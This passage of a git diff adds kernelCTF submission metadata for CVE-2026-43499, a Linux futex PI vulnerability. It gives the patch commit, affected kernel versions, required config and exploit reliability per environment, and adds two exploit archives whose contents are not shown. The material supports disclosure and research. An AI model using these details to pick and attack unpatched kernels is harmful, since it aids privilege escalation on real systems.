"https://google.github.io/security-research/kernelctf/metadata.schema.v3.json", + "submission_ids": ["exp490", "exp491"], + "vulnerability": { + "cve": "CVE-2026-43499", + "patch_commit": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/commit/?id=3bfdc63936dd4773109b7b8c280c0f3b5ae7d349", + "affected_versions": ["2.6.39-rc1 - 7.1-rc1"], + "requirements": { + "attack_surface": [], + "capabilities": [], + "kernel_config": [ + "CONFIG_FUTEX_PI" + ] + } + }, + "exploits":{ + "cos-121-18867.381.56": { + "environment": "cos-121-18867.381.56", + "uses": [], + "requires_separate_kaslr_leak": false, + "stability_notes": "40%" + }, + "lts-6.12.80": { + "environment": "lts-6.12.80", + "uses": [], + "requires_separate_kaslr_leak": false, + "stability_notes": "95%" + } + } +} diff --git a/pocs/linux/kernelctf/CVE-2026-43499_lts_cos/original_exp490.tar.gz b/pocs/linux/kernelctf/CVE-2026-43499_lts_cos/original_exp490.tar.gz new file mode 100644 index 000000000..cf087646d Binary files /dev/null and b/pocs/linux/kernelctf/CVE-2026-43499_lts_cos/original_exp490.tar.gz differ diff --git a/pocs/linux/kernelctf/CVE-2026-43499_lts_cos/original_exp491.tar.gz b/pocs/linux/kernelctf/CVE-2026-43499_lts_cos/original_exp491.tar.gz new file mode 100644 index 000000000..cf087646d Binary files /dev/null and b/pocs/linux/kernelctf/CVE-2026-43499_lts_cos/original_exp491.tar.gz differ